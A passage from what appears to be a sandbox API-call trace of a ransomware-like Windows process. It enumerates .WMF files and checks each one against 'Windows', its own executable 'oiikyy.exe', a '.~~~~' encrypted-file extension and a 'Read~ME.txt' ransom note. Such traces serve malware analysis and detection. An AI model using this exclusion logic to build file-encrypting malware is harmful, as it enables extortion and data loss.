	[0085.038] lstrcmpW (lpString1="J0185780.WMF", lpString2="oiikyy.exe") returned -1
	[0085.038] StrStrW (lpFirst="J0185780.WMF", lpSrch=".~~~~") returned 0x0
	[0085.038] lstrcmpW (lpString1="J0185780.WMF", lpString2="Read~ME.txt") returned -1
	[0085.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.038] GetCurrentThreadId () returned 0x618
	[0085.038] RtlWakeConditionVariable () returned 0x365f48
	[0085.038] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1
	[0085.038] lstrcmpiW (lpString1="J0185786.WMF", lpString2="Windows") returned -1
	[0085.038] lstrcmpW (lpString1="J0185786.WMF", lpString2="oiikyy.exe") returned -1
	[0085.038] StrStrW (lpFirst="J0185786.WMF", lpSrch=".~~~~") returned 0x0
	[0085.038] lstrcmpW (lpString1="J0185786.WMF", lpString2="Read~ME.txt") returned -1
	[0085.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.038] GetCurrentThreadId () returned 0x618
	[0085.038] RtlWakeConditionVariable () returned 0x365f48
	[0085.038] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1
	[0085.038] lstrcmpiW (lpString1="J0185790.WMF", lpString2="Windows") returned -1
	[0085.039] lstrcmpW (lpString1="J0185790.WMF", lpString2="oiikyy.exe") returned -1
	[0085.039] StrStrW (lpFirst="J0185790.WMF", lpSrch=".~~~~") returned 0x0
	[0085.039] lstrcmpW (lpString1="J0185790.WMF", lpString2="Read~ME.txt") returned -1
	[0085.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.039] GetCurrentThreadId () returned 0x618
	[0085.039] RtlWakeConditionVariable () returned 0x365f48
	[0085.039] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1
	[0085.039] lstrcmpiW (lpString1="J0185796.WMF", lpString2="Windows") returned -1
	[0085.039] lstrcmpW (lpString1="J0185796.WMF", lpString2="oiikyy.exe") returned -1
	[0085.039] StrStrW (lpFirst="J0185796.WMF", lpSrch=".~~~~") returned 0x0
	[0085.039] lstrcmpW (lpString1="J0185796.WMF", lpString2="Read~ME.txt") returned -1
	[0085.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.039] GetCurrentThreadId () returned 0x618
	[0085.039] RtlWakeConditionVariable () returned 0x365f48
	[0085.039] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1
	[0085.039] lstrcmpiW (lpString1="J0185798.WMF", lpString2="Windows") returned -1
	[0085.039] lstrcmpW (lpString1="J0185798.WMF", lpString2="oiikyy.exe") returned -1
	[0085.039] StrStrW (lpFirst="J0185798.WMF", lpSrch=".~~~~") returned 0x0
	[0085.039] lstrcmpW (lpString1="J0185798.WMF", lpString2="Read~ME.txt") returned -1
	[0085.039] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.039] GetCurrentThreadId () returned 0x618
	[0085.039] RtlWakeConditionVariable () returned 0x365f48
	[0085.039] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1
	[0085.040] lstrcmpiW (lpString1="J0185800.WMF", lpString2="Windows") returned -1
	[0085.040] lstrcmpW (lpString1="J0185800.WMF", lpString2="oiikyy.exe") returned -1
	[0085.040] StrStrW (lpFirst="J0185800.WMF", lpSrch=".~~~~") returned 0x0
	[0085.040] lstrcmpW (lpString1="J0185800.WMF", lpString2="Read~ME.txt") returned -1
	[0085.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.040] GetCurrentThreadId () returned 0x618
	[0085.040] RtlWakeConditionVariable () returned 0x365f48
	[0085.040] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1
	[0085.040] lstrcmpiW (lpString1="J0185806.WMF", lpString2="Windows") returned -1
	[0085.040] lstrcmpW (lpString1="J0185806.WMF", lpString2="oiikyy.exe") returned -1
	[0085.040] StrStrW (lpFirst="J0185806.WMF", lpSrch=".~~~~") returned 0x0
	[0085.040] lstrcmpW (lpString1="J0185806.WMF", lpString2="Read~ME.txt") returned -1
	[0085.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.040] GetCurrentThreadId () returned 0x618
	[0085.040] RtlWakeConditionVariable () returned 0x365f48
	[0085.040] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1
	[0085.040] lstrcmpiW (lpString1="J0185818.WMF", lpString2="Windows") returned -1
	[0085.040] lstrcmpW (lpString1="J0185818.WMF", lpString2="oiikyy.exe") returned -1
	[0085.040] StrStrW (lpFirst="J0185818.WMF", lpSrch=".~~~~") returned 0x0
	[0085.040] lstrcmpW (lpString1="J0185818.WMF", lpString2="Read~ME.txt") returned -1
	[0085.040] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.040] GetCurrentThreadId () returned 0x618
	[0085.041] RtlWakeConditionVariable () returned 0x365f48
	[0085.041] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1
	[0085.041] lstrcmpiW (lpString1="J0185828.WMF", lpString2="Windows") returned -1
	[0085.041] lstrcmpW (lpString1="J0185828.WMF", lpString2="oiikyy.exe") returned -1
	[0085.041] StrStrW (lpFirst="J0185828.WMF", lpSrch=".~~~~") returned 0x0
	[0085.041] lstrcmpW (lpString1="J0185828.WMF", lpString2="Read~ME.txt") returned -1
	[0085.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.041] GetCurrentThreadId () returned 0x618
	[0085.041] RtlWakeConditionVariable () returned 0x365f48
	[0085.041] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1
	[0085.041] lstrcmpiW (lpString1="J0185834.WMF", lpString2="Windows") returned -1
	[0085.041] lstrcmpW (lpString1="J0185834.WMF", lpString2="oiikyy.exe") returned -1
	[0085.041] StrStrW (lpFirst="J0185834.WMF", lpSrch=".~~~~") returned 0x0
	[0085.041] lstrcmpW (lpString1="J0185834.WMF", lpString2="Read~ME.txt") returned -1
	[0085.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.041] GetCurrentThreadId () returned 0x618
	[0085.041] RtlWakeConditionVariable () returned 0x365f48
	[0085.041] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1
	[0085.041] lstrcmpiW (lpString1="J0185842.WMF", lpString2="Windows") returned -1
	[0085.042] lstrcmpW (lpString1="J0185842.WMF", lpString2="oiikyy.exe") returned -1
	[0085.042] StrStrW (lpFirst="J0185842.WMF", lpSrch=".~~~~") returned 0x0
	[0085.042] lstrcmpW (lpString1="J0185842.WMF", lpString2="Read~ME.txt") returned -1
	[0085.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.042] GetCurrentThreadId () returned 0x618
	[0085.042] RtlWakeConditionVariable () returned 0x365f48
	[0085.042] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1
	[0085.042] lstrcmpiW (lpString1="J0186346.WMF", lpString2="Windows") returned -1
	[0085.042] lstrcmpW (lpString1="J0186346.WMF", lpString2="oiikyy.exe") returned -1
	[0085.042] StrStrW (lpFirst="J0186346.WMF", lpSrch=".~~~~") returned 0x0
	[0085.042] lstrcmpW (lpString1="J0186346.WMF", lpString2="Read~ME.txt") returned -1
	[0085.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.042] GetCurrentThreadId () returned 0x618
	[0085.042] RtlWakeConditionVariable () returned 0x365f48
	[0085.042] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1
	[0085.042] lstrcmpiW (lpString1="J0186360.WMF", lpString2="Windows") returned -1
	[0085.042] lstrcmpW (lpString1="J0186360.WMF", lpString2="oiikyy.exe") returned -1
	[0085.042] StrStrW (lpFirst="J0186360.WMF", lpSrch=".~~~~") returned 0x0
	[0085.042] lstrcmpW (lpString1="J0186360.WMF", lpString2="Read~ME.txt") returned -1
	[0085.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.042] GetCurrentThreadId () returned 0x618
	[0085.042] RtlWakeConditionVariable () returned 0x365f48
	[0085.043] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1
	[0085.043] lstrcmpiW (lpString1="J0186362.WMF", lpString2="Windows") returned -1
	[0085.043] lstrcmpW (lpString1="J0186362.WMF", lpString2="oiikyy.exe") returned -1
	[0085.043] StrStrW (lpFirst="J0186362.WMF", lpSrch=".~~~~") returned 0x0
	[0085.043] lstrcmpW (lpString1="J0186362.WMF", lpString2="Read~ME.txt") returned -1
	[0085.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.043] GetCurrentThreadId () returned 0x618
	[0085.043] RtlWakeConditionVariable () returned 0x365f48
	[0085.043] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1
	[0085.043] lstrcmpiW (lpString1="J0186364.WMF", lpString2="Windows") returned -1
	[0085.043] lstrcmpW (lpString1="J0186364.WMF", lpString2="oiikyy.exe") returned -1
	[0085.043] StrStrW (lpFirst="J0186364.WMF", lpSrch=".~~~~") returned 0x0
	[0085.043] lstrcmpW (lpString1="J0186364.WMF", lpString2="Read~ME.txt") returned -1
	[0085.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.043] GetCurrentThreadId () returned 0x618
	[0085.043] RtlWakeConditionVariable () returned 0x365f48
	[0085.043] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1
	[0085.043] lstrcmpiW (lpString1="J0187647.WMF", lpString2="Windows") returned -1
	[0085.043] lstrcmpW (lpString1="J0187647.WMF", lpString2="oiikyy.exe") returned -1
	[0085.043] StrStrW (lpFirst="J0187647.WMF", lpSrch=".~~~~") returned 0x0
	[0085.043] lstrcmpW (lpString1="J0187647.WMF", lpString2="Read~ME.txt") returned -1
	[0085.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.044] GetCurrentThreadId () returned 0x618
	[0085.044] RtlWakeConditionVariable () returned 0x365f48
	[0085.044] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1
	[0085.044] lstrcmpiW (lpString1="J0187815.WMF", lpString2="Windows") returned -1
	[0085.044] lstrcmpW (lpString1="J0187815.WMF", lpString2="oiikyy.exe") returned -1
	[0085.044] StrStrW (lpFirst="J0187815.WMF", lpSrch=".~~~~") returned 0x0
	[0085.044] lstrcmpW (lpString1="J0187815.WMF", lpString2="Read~ME.txt") returned -1
	[0085.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.044] GetCurrentThreadId () returned 0x618
	[0085.044] RtlWakeConditionVariable () returned 0x365f48
	[0085.044] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1
	[0085.044] lstrcmpiW (lpString1="J0187817.WMF", lpString2="Windows") returned -1
	[0085.044] lstrcmpW (lpString1="J0187817.WMF", lpString2="oiikyy.exe") returned -1
	[0085.044] StrStrW (lpFirst="J0187817.WMF", lpSrch=".~~~~") returned 0x0
	[0085.044] lstrcmpW (lpString1="J0187817.WMF", lpString2="Read~ME.txt") returned -1
	[0085.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.044] GetCurrentThreadId () returned 0x618
	[0085.044] RtlWakeConditionVariable () returned 0x365f48
	[0085.044] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1
	[0085.044] lstrcmpiW (lpString1="J0187819.WMF", lpString2="Windows") returned -1
	[0085.045] lstrcmpW (lpString1="J0187819.WMF", lpString2="oiikyy.exe") returned -1
	[0085.045] StrStrW (lpFirst="J0187819.WMF", lpSrch=".~~~~") returned 0x0
	[0085.045] lstrcmpW (lpString1="J0187819.WMF", lpString2="Read~ME.txt") returned -1
	[0085.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.045] GetCurrentThreadId () returned 0x618
	[0085.045] RtlWakeConditionVariable () returned 0x365f48
	[0085.045] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1
	[0085.045] lstrcmpiW (lpString1="J0187825.WMF", lpString2="Windows") returned -1
	[0085.045] lstrcmpW (lpString1="J0187825.WMF", lpString2="oiikyy.exe") returned -1
	[0085.045] StrStrW (lpFirst="J0187825.WMF", lpSrch=".~~~~") returned 0x0
	[0085.045] lstrcmpW (lpString1="J0187825.WMF", lpString2="Read~ME.txt") returned -1
	[0085.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.045] GetCurrentThreadId () returned 0x618
	[0085.045] RtlWakeConditionVariable () returned 0x365f48
	[0085.045] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1
	[0085.045] lstrcmpiW (lpString1="J0187829.WMF", lpString2="Windows") returned -1
	[0085.045] lstrcmpW (lpString1="J0187829.WMF", lpString2="oiikyy.exe") returned -1
	[0085.045] StrStrW (lpFirst="J0187829.WMF", lpSrch=".~~~~") returned 0x0
	[0085.045] lstrcmpW (lpString1="J0187829.WMF", lpString2="Read~ME.txt") returned -1
	[0085.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.045] GetCurrentThreadId () returned 0x618
	[0085.045] RtlWakeConditionVariable () returned 0x365f48
	[0085.045] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1
	[0085.045] lstrcmpiW (lpString1="J0187835.WMF", lpString2="Windows") returned -1
	[0085.045] lstrcmpW (lpString1="J0187835.WMF", lpString2="oiikyy.exe") returned -1
	[0085.045] StrStrW (lpFirst="J0187835.WMF", lpSrch=".~~~~") returned 0x0
	[0085.045] lstrcmpW (lpString1="J0187835.WMF", lpString2="Read~ME.txt") returned -1
	[0085.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.046] GetCurrentThreadId () returned 0x618
	[0085.046] RtlWakeConditionVariable () returned 0x365f48
	[0085.046] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1
	[0085.046] lstrcmpiW (lpString1="J0187837.WMF", lpString2="Windows") returned -1
	[0085.046] lstrcmpW (lpString1="J0187837.WMF", lpString2="oiikyy.exe") returned -1
	[0085.046] StrStrW (lpFirst="J0187837.WMF", lpSrch=".~~~~") returned 0x0
	[0085.046] lstrcmpW (lpString1="J0187837.WMF", lpString2="Read~ME.txt") returned -1
	[0085.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.046] GetCurrentThreadId () returned 0x618
	[0085.046] RtlWakeConditionVariable () returned 0x365f48
	[0085.046] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1
	[0085.046] lstrcmpiW (lpString1="J0187839.WMF", lpString2="Windows") returned -1
	[0085.046] lstrcmpW (lpString1="J0187839.WMF", lpString2="oiikyy.exe") returned -1
	[0085.046] StrStrW (lpFirst="J0187839.WMF", lpSrch=".~~~~") returned 0x0
	[0085.046] lstrcmpW (lpString1="J0187839.WMF", lpString2="Read~ME.txt") returned -1
	[0085.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.046] GetCurrentThreadId () returned 0x618
	[0085.046] RtlWakeConditionVariable () returned 0x365f48
	[0085.046] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1
	[0085.046] lstrcmpiW (lpString1="J0187847.WMF", lpString2="Windows") returned -1
	[0085.046] lstrcmpW (lpString1="J0187847.WMF", lpString2="oiikyy.exe") returned -1
	[0085.046] StrStrW (lpFirst="J0187847.WMF", lpSrch=".~~~~") returned 0x0
	[0085.046] lstrcmpW (lpString1="J0187847.WMF", lpString2="Read~ME.txt") returned -1
	[0085.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.047] GetCurrentThreadId () returned 0x618
	[0085.047] RtlWakeConditionVariable () returned 0x365f48
